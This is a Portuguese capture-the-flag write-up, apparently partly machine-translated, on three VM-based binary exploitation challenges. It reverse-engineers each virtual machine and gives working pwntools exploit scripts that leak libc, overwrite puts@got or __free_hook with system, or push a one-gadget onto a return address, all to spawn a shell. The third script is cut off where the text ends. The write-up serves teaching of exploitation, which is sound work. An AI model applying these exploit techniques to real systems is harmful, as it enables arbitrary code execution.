dicas amáveis:
O artigo de hoje é um pouco longo e tem muitas fotos, leia com paciência
5.1 Experimento 1 VMPWN1
5.1.1 Introdução ao tema
Esta é uma pergunta básica relacionada à VM, uma pergunta básica para o VMPWN. Como mencionado anteriormente, o VMPWN geralmente recebe o bytecode e depois analisa o bytecode, mas esta questão não aceita o bytecode, ele recebe uma linguagem de nível superior do bytecode: assembly. O programa recebe diretamente instruções como "mov" e "add". Este problema pode ser considerado como um processador que executa linguagem assembly. Comparado com a VM que analisa o bytecode, a dificuldade reversa é bastante reduzida. Ótimo para começar.
5.1.2 Verificação de Proteção de Título
Somente proteção RELRO parcial, o que significa que a tabela de realocação do programa pode ser modificada; sem proteção PIE, o endereço do programa carregado na memória não mudará todas as vezes.
5.1.3 Análise de Vulnerabilidade
Arraste para o processo de análise IDA
O programa simula uma máquina virtual, v5, v6 e v7 são segmento de pilha, segmento de texto e segmento de dados, respectivamente. Veja a função alloc_mem
Malloc uma pequena memória ptr, e então o parâmetro a1 é o tamanho da memória a ser alocada, e uma unidade é de 8 bytes. De acordo com a atribuição de ptr no pseudocódigo, uma estrutura pode ser construída, como segue
struct seg_chunk
{
char *seg;
int size;
int nop;
};
Será muito mais intuitivo ver a função alloc_mem
Mas isso ainda é um pouco difícil de entender, usamos o GDB para abrir o programa para depuração, conforme a figura abaixo
Existem vários blocos de pilha pequenos com um tamanho de 0 x 20. Os primeiros 8 bytes no bloco de pilha apontam para o bloco de pilha grande abaixo, e o 8º ao 12º bytes são a quantidade unitária do tamanho do bloco de pilha grande, como 0x400 =0x80*0x8, O comprimento da unidade é de 8 bytes, e o seguinte 0xffffffff não conhece sua função por enquanto, pode ser aplicável apenas a espaços reservados. Portanto, de acordo com os resultados de exibição do gdb, recriamos uma estrutura, como segue
struct manage_chunk
{
unsigned __int8 *chunk;
unsigned int unit_num;
int unknow;
};
Continue a ver a função principal e deixe o usuário inserir o nome do programa
Após alocar cada segmento, vamos inserir o comando e escrevê-lo em um buffer de 0x400
Em seguida, escreva no segmento de texto, a função store_opcode é a seguinte
A função aceita dois parâmetros, a1 é o ponteiro do segmento de texto, a2 é o ponteiro do buffer, o protótipo da função strtok é o seguinte:
char *strtok(char *str, const char *delim)
str -- 要被分解成一组小字符串的字符串。
delim -- 包含分隔符的 C 字符串。
该函数返回被分解的第一个子字符串,如果没有可检索的字符串,则返回一个空指针。
O delim no programa é \n\r\t , strtok(a2, delim) é dividir a string em a2 com \n\r\t
A partir da instrução if-else a seguir, podemos saber que o programa implementa as funções push, pop, add, sub, mul, div, load e save. Cada função corresponde a um opcode e cada opcode é armazenado na função Em um segmento de dados temporário alocado (o pedaço será liberado após a execução da função)
A função sub_40144E é a seguinte:
Esta função é usada para transferir as instruções da seção de texto temporário na função para a seção de texto do programa. Cada oito bytes armazena um opcode e toda vez que uma instrução é armazenada, o desconhecido será incrementado em 1. Vamos renomear esta função para set_value
.
Deve-se notar que a ordem em que os opcodes são armazenados aqui é oposta à ordem em que inserimos as instruções (mas não há nada a observar, de qualquer maneira, o programa é executado de acordo com a ordem em que inserimos as instruções).
A função write_stack é a seguinte:
Em comparação com a função store_opcode, o link de armazenamento do opcode é removido e os dados que inserimos são armazenados no segmento de pilha.
Vamos ver a função execute novamente
Uma instrução de seleção de switch grande, consulte a função sub_4014B4
Dê o valor no seg em a1 a a2, desconhecido diminuirá em um a cada vez, e a1 é o ponteiro do segmento de texto, então esta função pega a instrução do segmento de texto e o renomeia como take_value.
Para a função set_value, desconhecido será aumentado em 1 a cada vez, e para take_value, desconhecido será diminuído em 1 a cada vez, então podemos adivinhar que desconhecido é a quantidade atual de dados, então redefina a estrutura
struct manage_chunk
{
unsigned __int8 *chunk;
unsigned int unit_num;
int num_now;
};
Veja a função sub_401AAC correspondente a case0x11
A função take_value e a função sub_40144E são chamadas, sub_40144E é a seguinte
Colocar a2 no segmento de a1 é o oposto da operação de take_value, por isso o chamamos de set_value. No geral, parece com isso, como mostrado na figura abaixo
Obtenha o valor da pilha e, em seguida, armazene o valor em dados, para que possamos entender a operação aqui como pop, então renomeamos sub_401AAC para pop.
Veja a função sub_401AF8 novamente
Pegue dois valores de dados e, em seguida, adicione os dois valores e armazene-os em dados, então vamos renomeá-lo para adicionar.
ver função sub_401BA5
obviamente subtração
Olhe para a função sub_401C06 novamente
Essa função é a multiplicação
Olhe para a função sub_401C68 novamente
Esta função é a divisão
Veja a função sub_401CCE novamente
É um pouco mais complicado, pegue um valor dos dados, use esse valor como um índice, pegue um valor dos dados e carregue o valor obtido nos dados. Chamamos essa função de load.
Finalmente veja a função sub_401D37
Aqui, retire dois valores a2 e v4, pegue a2 como índice e armazene v4 na memória encontrada pelo índice a2. Nomeie-o salvar.
Até agora, todas as operações foram analisadas, então onde estão as brechas do programa? Preste atenção para ver as funções de carregar e salvar
O índice v3 é obtido do segmento de dados e o valor do segmento de dados é inserido pelo usuário
Os dados na seção de dados podem ser controlados por operações como push, pop, adição, subtração, multiplicação e divisão, mas não há restrição nos dados na seção de dados em load, portanto, há um limite brecha de leitura aqui, ou seja, nós apenas É necessário configurar os dados no segmento de dados e, ao usar a função load, os dados que não pertencem ao segmento de dados podem ser lidos no segmento de dados.
Além da vulnerabilidade de leitura fora dos limites no carregamento, também há uma vulnerabilidade na operação de salvamento
Na função Salvar, dois valores são retirados do segmento de dados e um dos valores é usado como índice do segmento de dados, um valor addr é retirado dele e outro valor é retirado do segmento de dados é armazenado na memória apontada por addr. Não há julgamento sobre esses dois valores, nem julgamento sobre addr, portanto, podemos escrever qualquer valor em qualquer endereço, e há uma vulnerabilidade de gravação fora dos limites aqui.
Portanto, há duas vulnerabilidades neste programa: vulnerabilidades de leitura fora dos limites e vulnerabilidades de gravação fora dos limites.
Após a análise estática, inicie a análise dinâmica
Existe uma brecha de leitura e escrita fora dos limites, como explorá-la?
Como o programa não habilita FULL RELRO, podemos reescrever a tabela got, que armazenará o endereço de carregamento da função que já foi executada, e modificar o valor da tabela got de uma função para modificar o endereço da função que a função finalmente chama. Neste programa existem as seguintes funções
Aqui optamos por alterar o valor na tabela got de puts para o endereço da função do sistema, por quê?
Vamos inserir um nome de programa no início do programa e, após o término da execução, a função puts será chamada para exibir o nome do programa. Quando alteramos o valor da tabela obtida da função puts para o endereço de a função do sistema, puts(s) será Torna-se system(s), e se o conteúdo de s que inserirmos for /bin/sh, então system("/bin/sh") será eventualmente chamado.
Observe o topo da área de heap
Acima da área Heap está a seção de texto do programa.Há uma tabela got na seção de texto e há um grande número de endereços libc.
O programa em si não tem função de saída, então precisamos usar as funções fornecidas pelo programa para escrever adição e subtração. As funções carregar e salvar são executadas na seção de dados, e há um limite, e seus parâmetros são ponteiros para a estrutura de dados.
O segmento de dados é operado por meio do ponteiro do segmento de dados armazenado na estrutura de dados. Enquanto modificarmos esse ponteiro, a posição do segmento de dados também mudará de acordo, para que possamos usar a vulnerabilidade de gravação fora dos limites de salvar. Altere o ponteiro da seção de dados para cerca de 0x404000 (você também pode executar leitura e gravação fora dos limites diretamente na seção de dados. Afinal, o escopo da leitura e gravação fora dos limites não é limitado, mas será mais difícil de calcular).
Reescrevemos o ponteiro do segmento de dados para uma seção abaixo de stderr sem conteúdo, ou seja, 0x4040d0.
A carga correspondente a esta operação é
push push save
0x4040d0 -3
depurar para ver
Vamos interromper o download do push, conforme mostrado na figura abaixo
esse é o 0x00000000004019C7
endereço
antes de empurrar
depois de empurrar
0x4040d0 é enviado para o início do segmento de dados e, em seguida, -3 também é enviado para o segmento de dados
Em seguida, use a gravação fora dos limites da função salvar para gravar 0x4040d0 nos dados[-3]
Depois de executar esta seção de instruções, o ponteiro da seção de dados é modificado para 0x4040d0.
Posteriormente, nossas operações no segmento de dados são todas baseadas em 0x4040d0. Carregamos o endereço de stderr acima (ou outros endereços) no segmento de dados e, em seguida, calculamos o deslocamento relativo entre stderr e o sistema em libc , empurramos para a seção de dados, e, em seguida, adicione o stderr e o deslocamento para obter o endereço do sistema e, em seguida, use a função salvar para gravar o sistema em puts@got (em 0x404020).
5.1.4 Usando scripts
from pwn import *
context.binary = './ciscn_2019_qual_virtual'
context.log_level = 'debug'
io = process('./ciscn_2019_qual_virtual')
elf = ELF('ciscn_2019_qual_virtual')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil('name:\n')
io.sendline('/bin/sh')
data_addr = 0x4040d0
offset = libc.symbols['system'] - libc.symbols['_IO_2_1_stderr_']
opcode = 'push push save push load push add push save'
data = [data_addr, -3, -1, offset, -21]
payload = ''
for i in data:
payload += str(i)+' '
io.recvuntil('instruction:\n')
io.sendline(opcode)
#gdb.attach(io,'b *0x401cce')
io.recvuntil('data:\n')
io.sendline(payload)
io.interactive()
5.2 Experimento 2 VMPWN2
5.2.1 Introdução ao experimento
Esta questão é um pouco mais difícil do que a anterior. A entrada da questão anterior é uma instrução em forma de montagem, e esta questão é uma VM muito clássica, que recebe bytecodes e processa bytecodes. A questão anterior recebe as instruções em forma de montagem são de grande ajuda para nossa engenharia reversa, porque a engenharia reversa normal da VM exige que revertamos o bytecode e restaure-o para as instruções do formulário de montagem; portanto, essa pergunta é a verdadeira pergunta de entrada do VMPWN.
5.2.2 Verificação de Proteção de Título
Em comparação com a pergunta anterior, mais proteções estão habilitadas, apenas a proteção canary não está habilitada.
5.2.3 Análise de Vulnerabilidade
Primeiro vamos entrar em PC e SP
Contador de programa do PC, que armazena um endereço de memória onde está armazenada a próxima instrução do computador a ser executada.
O registrador de ponteiro SP sempre aponta para o topo atual da pilha.
Então vamos inserir o tamanho do código, o máximo é 0x10000 bytes e depois inserir o código por sua vez
A instrução if é usada para limitar o valor do código, modificar o valor do inteiro cujos 8 bits superiores vão de 0xFF a 0xE0000000 e, em seguida, armazená-lo na memória do array. Em seguida, insira o loop where, a função de busca é a seguinte
Aqui reg[15] é usado para armazenar o valor de PC. Vamos dar uma olhada em alguns dados usados por este programa
Cada vez que o valor de PC é aumentado em 1, e o código na memória é lido sequencialmente
Veja a função executar novamente
Como a função execute é longa, não a liberamos toda de uma vez, mas analisamos em seções
O parâmetro de Execute é um opcode de 4 bytes
v4 = (código & 0xF0000u) >> 16 assumirá o valor do terceiro byte.
v3 = (unsigned __int16)(code & 0xF00) >> 8 assumirá o valor do segundo byte e esse número é apenas um número hexadecimal de 1 dígito.
v2 = código & 0xF levará o último byte.
result = HIBYTE(code), o byte mais alto do código é dado ao resultado e o byte mais alto é usado para especificar o opcode correspondente. Se o byte mais alto for 0x70, execute uma operação de adição, reg[v4] = reg[v2] + reg[v3].
Leia
Resumido da seguinte forma:
O opcode é 0x10 e uma constante de 1 byte é armazenada em reg[v4];
O opcode é 0x20, julgue se o byte mais baixo do código é 0 e defina reg[v4] como resultado;
O opcode é 0x30, com reg[v2] como índice, envie memory[reg[v2] para reg[v4];
O opcode é 0x40, envie reg[v4] para a memória[reg[v2];
O código de operação é 0x50, e a operação push é executada, e reg[v4] é colocado na pilha, e reg[13] pode ser entendido como o registrador rsp;
O código da operação é 0x60, e a operação pop é executada, e o valor no topo da pilha é inserido em reg[v4];
O opcode é 0x70, execute a operação de adição, reg[v4] = reg[v2] + reg[v3];
O opcode é 0x80, execute uma operação de subtração, reg[v4] = reg[v3] - reg[v2];
O opcode é 0x90, execute a operação AND bit a bit, reg[v4] = reg[v2] & reg[v3];
O opcode é 0xa0, execute uma operação OR bit a bit, reg[v4] = reg[v2] | reg[v3];
O opcode é 0xb0, a operação XOR é executada, reg[v4] = reg[v2] ^ reg[v3];
O opcode é 0xc0, execute a operação de deslocamento à esquerda, reg[v4] = reg[v3] << reg[v2];
O opcode é 0xd0, execute a operação de deslocamento à direita, reg[v4] = (int)reg[v3] >> reg[v2];
O opcode é 0xe0, se não houver valor na pilha, saia e o valor de todos os registros será impresso ao sair.
Acima estão todas as operações implementadas por esta VM. Pode-se ver que as funções básicas da CPU são basicamente realizadas.
Agora que a lógica do programa está clara, é hora de pensar em como usá-la.
Quando os opcodes são 0x30 e 0x40, as funções load e save são implementadas respectivamente. Ao ler o valor da memória no registrador e escrever o valor do registrador na memória, não há limite e o que deve ser lido ou escrito O valor é limitado, portanto, ainda há vulnerabilidades de leitura e gravação fora do limite aqui.
Esta questão habilita a proteção FULL RELRO, para que a tabela got não possa ser escrita, e não podemos modificar a tabela got para sequestrar a função através do método da pergunta anterior.
No final do programa, a função sendcomment é chamada e a função é implementada da seguinte forma
Chame a função free para liberar a pilha de comentários.
Aqui precisamos mencionar a função hook free_hook
O que é free_hook?
Na biblioteca GNU C (glibc), free_hook é uma variável global usada para implementar a função hook para alocação e liberação de memória dinâmica. Quando o programa usa funções como malloc(), calloc() e realloc() para alocar memória, ele chamará a função free_hook para realizar operações de liberação de memória.
Ao definir sua própria função free_hook, você pode executar operações de processamento adicionais durante a alocação e liberação de memória, como registro de alocação e liberação de memória, detecção de vazamentos de memória e assim por diante.
Na glibc, você pode implementar uma operação de liberação de memória personalizada definindo a variável free_hook. Por exemplo, o código a seguir pode ser usado para definir a variável free_hook:
void my_free_hook(void *ptr, const void *caller) {
printf("Freeing memory at %p, called by %p\n", ptr, caller);
__free_hook = old_free_hook;
free(ptr);
__free_hook = my_free_hook;
}
void *old_free_hook = NULL;
int main() {
old_free_hook = __free_hook;
__free_hook = my_free_hook;
__free_hook = old_free_hook;
return 0;
Neste código, uma função personalizada my_free_hook é definida para implementar a operação de liberação de memória. Na função main(), primeiro salve a variável __free_hook original e, em seguida, defina a função personalizada my_free_hook como a nova variável __free_hook. Quando o programa está em execução, você pode usar a função personalizada my_free_hook para executar operações de liberação de memória.
Deve-se observar que a função personalizada free_hook deve obedecer às especificações de alocação e liberação de memória, alocar e liberar memória corretamente e evitar problemas como vazamentos e estouros de memória.
Ou seja, depois de chamar a função livre, ele primeiro verificará se free_hook está definido com uma função de gancho, se free_hook estiver definido com uma função de gancho, a função de gancho será chamada primeiro e, em seguida, a função livre real será chamado e a função de gancho O parâmetro é o mesmo que o parâmetro da função livre, ou seja, o ponteiro do bloco de heap a ser liberado.
Se definirmos free_hook como o endereço da função do sistema e definirmos o início do bloco heap a ser liberado para /bin/sh, então system("/bin/sh") será chamado primeiro ao chamar free.
Em primeiro lugar, precisamos vazar o endereço libc. Uma distância acima da seção bss é a tabela got. Lemos o endereço libc na tabela got no registrador por meio de leitura fora dos limites. Deve-se notar aqui que desde o registrador é uma palavra dupla, ou seja, quatro bytes, e os endereços são oito bytes, então precisamos de dois registradores para armazenar um endereço.
O último na tabela obtida é stderr, mas não o escolhemos para vazar, porque os dois últimos dígitos do endereço stderr são 00.
Aqui escolhemos stdin para vazar, pois precisamos calcular __free_hook-8 através do endereço de stdin no futuro, então tente escolher o endereço com uma pequena diferença de free_hook para leak, o que pode reduzir a quantidade de cálculo.
Agora que temos alvos de vazamento, é hora de calcular o índice (reg[v4] = memory[reg[v2]]). O endereço da memória é 0x202060, o endereço de stdin@got é 0x201f80 e a memória também é um tipo de palavra dupla, portanto, há n=(0x202060-0x201f80)/4=56 e o índice é -56.
Como construir -56 pode ser construído armazenando números negativos na memória. 0xffffffc8 representa -56 na memória. Leia os últimos quatro bytes do endereço stdin até -56 e leia as primeiras quatro palavras até -55 Festival. Como obter 0xffffffc8 pode ser obtido por ff deslocamento à esquerda e operação de adição, as etapas de construção são as seguintes:
setnum(0,8), #reg[0]=8
setnum(1,0xff), #reg[1]=0xff
setnum(2,0xff), #reg[2]=0xff
left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00)
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)
left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00)
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)
setnum(1,0xc8), #reg[1]=0xc8
left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00)
add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)
depurar para ver
Primeiro definimos reg[0] como 8 para a operação de deslocamento, reg[1] como 0xff para a operação de adição subsequente e reg[2] como 0xff para a operação de deslocamento
Em seguida, ponto de interrupção na operação de deslocamento à esquerda
Depois de deslocar para a esquerda, reg[2] torna-se 0xff00. Continue
Neste ponto, reg[2] tornou-se 0xffffff00, basta adicionar 0xc8 para construir -56
Em seguida, lemos o endereço do stdin e o armazenamos em dois registradores
read(3,2), #reg[3]=memory[reg[2]]=memory[-56]
setnum(1,1), #reg[1]=1
add(2,2,1), #reg[2]=reg[2]+reg[1]=-56+1=-55
read(4,2), #reg[4]=memory[reg[2]]=memory[-55]
A razão pela qual dois registradores são usados aqui é porque o comprimento de cada registrador é de apenas 4 bytes, e o comprimento do endereço libc é de 8 bytes, então dois registradores são necessários para armazenar um endereço libc completo
Defina um ponto de interrupção na posição da leitura fora dos limites
Os últimos 4 bytes do endereço libc de stdin foram lidos no reg[3] e outra leitura fora dos limites
Neste momento, os primeiros 4 bytes também são lidos no reg[4].
Depois de obter o endereço stdin, calculamos o deslocamento de stdin e free_hook-8, adicionamos o deslocamento ao registrador que armazena o endereço stdin por meio de add e, em seguida, escrevemos comment[0], comment[0] e memory O índice relativo é -8 .
Como -8 é calculado?
O endereço do comentário é 0x56336d3dd040, e o endereço da memória é 0x56336d3dd060, (0x56336d3dd060-0x56336d3dd040)/4=8, e como o comentário está acima da memória, o índice deve ser -8.
setnum(1,0x10), #reg[1]=0x10
left_shift(1,1,0), #reg[1]=reg[1]<<8=0x10<<8=0x1000
setnum(0,0x90), #reg[0]=0x90
add(1,1,0), #reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090
add(3,3,1), #reg[3]=reg[3]+reg[1]=&stdin后四字节+0x1090=&free_hook-8后四字节
setnum(1,47), #reg[1]=47
add(2,2,1), #reg[2]=reg[2]+2=-55+47=-8
write(3,2), #memory[reg[2]]=memory[-8]=reg[3]
setnum(1,1), #reg[1]=1
add(2,2,1), #reg[2]=reg[2]+1=-8+1=-7
write(4,2), #memory[reg[2]]=memory[-7]=reg[4]
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1]) #exit
5.1.4 Usando scripts
#!/usr/bin/python
from pwn import *
from time import sleep
context.binary = './OVM'
context.log_level = 'debug'
io = process('./OVM')
elf = ELF('OVM')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#reg[v4] = reg[v2] + reg[v3]
def add(v4, v3, v2):
return u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])
#reg[v4] = reg[v3] << reg[v2]
def left_shift(v4, v3, v2):
return u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])
#reg[v4] = memory[reg[v2]]
def read(v4, v2):
return u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1])
#memory[reg[v2]] = reg[v4]
def write(v4, v2):
return u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])
# reg[v4] = (unsigned __int8)v2
def setnum(v4, v2):
return u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])
code = [
setnum(0, 8), # reg[0]=8
setnum(1, 0xff), # reg[1]=0xff
setnum(2, 0xff), # reg[2]=0xff
left_shift(2, 2, 0), # reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00)
add(2, 2, 1), # reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)
left_shift(2, 2, 0), # reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00)
add(2, 2, 1), # reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)
setnum(1, 0xc8), # reg[1]=0xc8
# reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00)
left_shift(2, 2, 0),
# reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)
add(2, 2, 1),
read(3, 2), # reg[3]=memory[reg[2]]=memory[-56]
setnum(1, 1), # reg[1]=1
add(2, 2, 1), # reg[2]=reg[2]+reg[1]=-56+1=-55
read(4, 2), # reg[4]=memory[reg[2]]=memory[-55]
setnum(1, 0x10), # reg[1]=0x10
left_shift(1, 1, 0), # reg[1]=reg[1]<<8=0x10<<8=0x1000
setnum(0, 0x90), # reg[0]=0x90
# reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090
add(1, 1, 0),
add(3, 3, 1), # reg[3]=reg[3]+reg[1]
setnum(1, 47), # reg[1]=47
add(2, 2, 1), # reg[2]=reg[2]+2=-55+47=-8
write(3, 2), # memory[reg[2]]=memory[-8]=reg[3]
setnum(1, 1), # reg[1]=1
add(2, 2, 1), # reg[2]=reg[2]+1=-8+1=-7
write(4, 2), # memory[reg[2]]=memory[-7]=reg[4]
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1]) # exit
]
io.recvuntil('PC: ')
io.sendline(str(0))
io.recvuntil('SP: ')
io.sendline(str(1))
io.recvuntil('SIZE: ')
io.sendline(str(len(code)))
io.recvuntil('CODE: ')
for i in code:
#sleep(0.2)
io.sendline(str(i))
io.recvuntil('R3: ')
#gdb.attach(io)
last_4bytes = int(io.recv(8), 16)+8
log.success('last_4bytes => {}'.format(hex(last_4bytes)))
io.recvuntil('R4: ')
first_4bytes = int(io.recv(4), 16)
log.success('first_4bytes => {}'.format(hex(first_4bytes)))
free_hook = (first_4bytes << 32)+last_4bytes
libc_base = free_hook-libc.symbols['__free_hook']
system_addr = libc_base+libc.symbols['system']
log.success('free_hook => {}'.format(free_hook))
log.success('system_addr => {}'.format(system_addr))
io.recvuntil('OVM?\n')
io.sendline('/bin/sh\x00'+p64(system_addr))
io.interactive()
5.3 Experimento 3 VMPWN3
5.3.1 Introdução ao experimento
Esta questão também é um VMPWN muito típico. Receba o bytecode e, em seguida, analise-o. Haverá brechas no processo de análise. Analise reversa a máquina virtual para descobrir as brechas de análise e, em seguida, construa um bytecode específico e insira-o para passar Este programa vulnerabilidade tira os privilégios da máquina de destino.
5.3.2 Verificação de Proteção de Título
Em comparação com a pergunta anterior, o programa de proteção desta pergunta foi aprimorado e todas as proteções foram ativadas.
5.3.3 Análise de vulnerabilidade
Abra o programa com IDA
A lógica de execução é clara à primeira vista.
Primeiro, use fread para ler o opcode de 0x100 bytes no código e, em seguida, insira o loop while para analisar o opcode que inserimos.
veja esta função sub_11E9
Uma longa linha de pseudocódigo parece implementar uma função muito complicada, mas dê uma olhada
O valor inicial de pc é 0, então assumimos que este pc agora é 0, então esta linha de código retirará o opcode de 4 bytes do código, depois o deslocará para a esquerda em 8 bits e executará um bit a bit E com 0xFF0000, supondo que o opcode atual seja 0x12345678, 0x12345678<<8&0xFF0000=0x560000, ou seja, pegue o penúltimo byte. O mesmo vale para as seguintes operações: Após cada byte ser removido, ele é combinado com uma operação OR bit a bit, mas o opcode após a combinação é a ordem inversa do opcode original. Ou seja, se o código original for 0x12345678, o opcode após removê-lo será 0x78563412. Depois de buscar uma sequência de códigos, adicione 4 ao ponteiro pc.
Portanto, a função dessa função é buscar instruções, por isso a renomeamos como fetch_code.
Em seguida, continue a olhar para baixo.
O que significa HIBYTE(código)? ver compilação
Coloque o código em eax, depois desloque 24 bits para a direita e retire o valor em ax neste momento. Se nosso código for 0x78563412, então HIBYTE(código) será 0x78. Em outras palavras, HIBYTE(código) terá o 1 byte de código mais alto. Então renomeamos v7 para code
Então veja a posição de julgar v6
Muitos cálculos foram feitos aqui, mas não são exibidos no código, vamos continuar analisando a montagem
Armazene o código em eax, depois desloque eax para a direita em 16 bits e armazene al na variável var_249.Esta operação realmente remove o segundo byte, então renomeamos var_249 para second_byte. olhar para baixo
Aqui, o código é armazenado em eax, então ax é deslocado para a direita em 8 bits e al é armazenado na variável var_248. Essa operação remove o terceiro byte, então renomeamos var_248 para terceiro_byte.
Aqui é para armazenar o quarto byte em var_247 e renomeá-lo para forward_byte.
Selecione a função correspondente de acordo com o 1 byte extraído. O valor máximo é de até 0xF, então o 1 byte retirado aqui deve ser o código da função, que corresponde a qual operação queremos realizar.
Em seguida, comece a analisar as funções do vm e como realizá-las.
Percebi que há muitas declarações de julgamento no programa, julgando se o primeiro byte ou o segundo byte no código é maior ou igual a 6 e, se for, saia. De acordo com minha experiência, o julgamento aqui é o valor do índice do registrador. Julgamento, ou seja, o valor do índice do registrador só pode ser 5 no máximo, então são 6 registradores no total, o índice é de 0 a 5, e o tamanho de cada registrador é WORD, ou seja é, 2 bytes.
Além dos registradores de uso geral, uma máquina virtual também deve ter um ponteiro pc (que apareceu anteriormente) e um ponteiro sp para indicar a posição superior da pilha, então procuramos por possíveis ponteiros sp no programa. Como a alteração do ponteiro sp é seguida por popping e stacking, ela é bastante determinística.
Aqui encontramos uma operação semelhante a empurrar e abrir a pilha, e a pilha e o ponteiro superior da pilha foram rapidamente determinados. Renomeado v9 para sp_ptr.
v10+v11 tem um total de 0xc bytes, e o registrador tem 2*6=0xc bytes, mais a pilha, podemos obter a estrutura da máquina virtual da seguinte forma:
struct vm
{
int16_t regs[6];
int16_t stack[256];
};
Aplicado ao IDA conforme mostrado abaixo
Todo o pseudocódigo fica mais claro e as funções podem ser vistas rapidamente
Na verdade, basicamente todas as funções implementadas por vm são basicamente as mesmas. Também fiz uma análise específica nas duas perguntas anteriores, portanto não vou analisá-las uma a uma aqui. Todas as funções são as seguintes:
Então, onde está a brecha? Observe que ao realizar operações em três registradores, os valores de índice dos três registradores serão verificados e não poderão ser maiores ou iguais a 6.
No entanto, ao fazer a multiplicação:
O índice de r3 não é verificado, para que os dados além da faixa do registrador possam ser multiplicados.Quando fixamos os dados dos outros dois registradores, pode causar o efeito de leitura fora dos limites.
mais uma brecha
Ao executar a instrução mov, o índice de r2 é verificado na forma de um inteiro sem sinal, enquanto o índice de r1 é verificado usando um inteiro com sinal, de modo que, se o índice de r1 for números negativos, também passará na verificação. Isso cria uma vulnerabilidade de gravação fora dos limites.
Dessa forma, a ideia geral de exploração é primeiro usar a vulnerabilidade de leitura fora dos limites na multiplicação para ler o endereço libc, depois calcular o endereço do onegadget e, em seguida, usar a vulnerabilidade de gravação fora dos limites para escreva o endereço do onegadget no endereço de retorno.
Em seguida, vemos a parte de depuração dinâmica
Como a máquina virtual está alocada na pilha, há um grande número de endereços libc na pilha, conforme mostrado na figura a seguir
Podemos usar a função de leitura fora dos limites da multiplicação, primeiro definir o valor de um registrador como 1 e, em seguida, usar a função de leitura fora dos limites da multiplicação para multiplicar o endereço libc na pilha por 1 e armazená-lo Deve-se observar aqui que, como cada registro tem apenas 2 bytes de comprimento e o comprimento efetivo do endereço libc é de 6 bytes, são necessários 3 registros para armazenar o endereço libc.
Primeiro definimos reg0 como 1, conforme mostrado na figura abaixo
Em seguida, encontramos o endereço libc mais próximo, conforme mostrado abaixo
O endereço inicial do registro é 0x7ffde8c12c04
, o tamanho de cada registro é de 2 bytes e calculamos o deslocamento desse endereço libc de acordo
Se você quiser usar registros para indexação, o índice subscrito deve ser 0xe, então usamos a função de multiplicação para fazer reg[0]*reg[0xe] e armazenar o resultado em reg[0]
Conforme mostrado na figura acima, os últimos 2 bytes do endereço libc foram armazenados em reg[0].
No futuro, continuaremos a seguir esta operação e armazenar os bytes restantes do endereço libc em reg[1] e reg[2], conforme mostrado na figura abaixo
Depois de obter o endereço libc, você pode calcular o endereço do onegadget de acordo com o endereço libc
Selecione o onegadget 0xe3b31, então seu endereço de carregamento em libc é libc_base+0xe3b31
Ainda porque o registrador tem 2 bytes, então operamos em dois bytes toda vez, podemos ver que a diferença entre os dois últimos bytes de onegadget e reg[0] é 0x431, ou seja, reg[0]+0x431 é Você pode obter os dois últimos bytes de um gadget;
A diferença entre os dois bytes no meio é 0x14, ou seja, reg[1]+0x14 consegue o valor dos dois bytes no meio do onegadget, e o endereço no começo é o mesmo, então nenhum cálculo é necessário .
Para calcular o endereço do onegadget usamos a função add.
Em seguida, precisamos escrever o endereço de onegadget em um endereço. Como vm está na pilha, consideramos escrever onegadget no endereço de retorno
Mas a função de gravação fora dos limites só pode gravar acima e fora dos limites, e o endereço de retorno está localizado abaixo da máquina virtual. O que devo fazer aqui para escrever sem problemas?
Note que na função push
O ponteiro para o topo da pilha é um tipo assinado, portanto, se o ponteiro para o topo da pilha for negativo, ele pode passar na verificação. Vamos ver qual é o deslocamento do ponteiro superior do endereço de retorno.
A pilha da máquina virtual também está em unidades de 2 bytes, portanto, se você deseja indexar o endereço de retorno por meio da pilha, precisa que o subscrito da matriz seja 0x10c.
Quando push é atribuído, existe tal operação
Supondo que rax seja 0x800000000000010c, após rax*2, o estouro inteiro se tornará 0x0000000000000218, de modo que a detecção do ponteiro do topo da pilha possa ser ignorada e o ponteiro do topo da pilha possa ser modificado para apontar para o endereço de retorno.
Posteriormente, colocamos o valor no registrador na pilha, para que o endereço de retorno possa ser sobrescrito com o endereço de onegadget, para que no final do programa, onegadget possa ser chamado para getshell
5.3.4 Usando scripts
from pwn import *
context.log_level='debug'
io=process('./mva')
libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9.7_amd64/libc-2.31.so')
onegadget=0xe3b31
def get_command(code, op1, op2, op3):
return p8(code) + p8(op1) + p8(op2) + p8(op3)
def movl(reg, value):
return get_command(1, reg, value >> 8, value & 0xFF)
def add(dest, add1, add2):
return get_command(2, dest, add1, add2)
def sub(dest, subee, suber):
return get_command(3, dest, subee, suber)
def band(dest, and1, and2):
return get_command(4, dest, and1, and2)
def bor(dest, or1, or2):
return get_command(5, dest, or1, or2)
def sar(dest, off):
return get_command(6, dest, off, 0)
def bxor(dest, xor1, xor2):
